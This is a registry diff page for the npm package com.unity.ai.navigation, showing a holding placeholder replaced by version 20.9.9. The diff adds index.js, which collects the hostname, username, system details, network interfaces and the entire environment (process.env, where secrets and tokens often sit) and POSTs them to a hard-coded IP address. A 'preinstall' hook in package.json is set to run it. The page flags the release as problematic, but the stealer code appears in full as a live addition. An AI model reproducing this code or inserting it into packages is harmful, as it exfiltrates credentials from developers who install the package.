com.unity.ai.navigation 0.0.1-security → 20.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of com.unity.ai.navigation might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +46 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,46 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const fs = require('fs');
4
+ const { execSync } = require('child_process');
5
+
6
+ function getSystemInfo() {
7
+ return {
8
+ ip_address: execSync("curl -s https://api64.ipify.org").toString().trim(),
9
+ hostname: os.hostname(),
10
+ organization: execSync("whoami").toString().trim(),
11
+ username: os.userInfo().username,
12
+ platform: os.platform(),
13
+ release: os.release(),
14
+ arch: os.arch(),
15
+ uname: execSync("uname -a").toString().trim(),
16
+ networkInterfaces: os.networkInterfaces(),
17
+ envVariables: process.env
18
+ };
19
+ }
20
+
21
+ function sendData(data) {
22
+ const options = {
23
+ hostname: "65.0.127.249",
24
+ port: 4411,
25
+ path: "/log",
26
+ method: "POST",
27
+ headers: {
28
+ "Content-Type": "application/json"
29
+ }
30
+ };
31
+
32
+ const req = https.request(options, (res) => {
33
+ console.log(`Status: ${res.statusCode}`);
34
+ });
35
+
36
+ req.on("error", (err) => {
37
+ console.error(`Error: ${err.message}`);
38
+ });
39
+
40
+ req.write(JSON.stringify(data));
41
+ req.end();
42
+ }
43
+
44
+ // Run the function
45
+ const data = getSystemInfo();
46
+ sendData(data);
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "com.unity.ai.navigation",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "20.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=com.unity.ai.navigation for more information.